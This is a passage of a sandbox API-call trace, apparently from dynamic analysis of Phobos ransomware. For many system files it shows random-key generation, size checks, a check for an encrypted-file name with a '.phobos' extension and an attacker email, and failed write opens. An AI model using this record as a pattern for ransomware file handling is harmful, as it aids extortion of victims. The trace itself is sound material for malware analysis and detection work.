returned 0xffffffff [0124.951] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.951] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.951] CloseHandle (hObject=0x58c) returned 1 [0124.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0124.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.951] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.952] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.952] CloseHandle (hObject=0x58c) returned 1 [0124.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0124.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.952] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.955] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=177664) returned 1 [0124.955] CloseHandle (hObject=0x58c) returned 1 [0124.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0124.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.955] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.957] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=733696) returned 1 [0124.957] CloseHandle (hObject=0x58c) returned 1 [0124.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0124.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.962] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.962] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.962] CloseHandle (hObject=0x57c) returned 1 [0124.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0124.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.962] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.963] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.963] CloseHandle (hObject=0x57c) returned 1 [0124.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0124.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.963] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.964] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.964] CloseHandle (hObject=0x57c) returned 1 [0124.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0124.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.964] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.973] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=41984) returned 1 [0124.973] CloseHandle (hObject=0x594) returned 1 [0124.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0124.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.974] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.976] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=391040) returned 1 [0124.976] CloseHandle (hObject=0x594) returned 1 [0124.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0124.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.976] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.980] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.980] CloseHandle (hObject=0x594) returned 1 [0124.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0124.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.980] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.983] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=22016) returned 1 [0124.983] CloseHandle (hObject=0x594) returned 1 [0124.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0124.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.984] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.985] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1053184) returned 1 [0124.985] CloseHandle (hObject=0x594) returned 1 [0124.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0124.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.989] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.992] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.992] CloseHandle (hObject=0x594) returned 1 [0124.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0124.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.992] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.993] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.993] CloseHandle (hObject=0x594) returned 1 [0124.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0124.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.994] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.994] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7168) returned 1 [0124.994] CloseHandle (hObject=0x594) returned 1 [0124.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0124.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.995] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.995] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7168) returned 1 [0124.996] CloseHandle (hObject=0x594) returned 1 [0124.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0124.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.996] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.998] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=370176) returned 1 [0124.998] CloseHandle (hObject=0x594) returned 1 [0124.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0124.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.998] CreateFileW (lpFileName="\\\\?\\C:\\Program 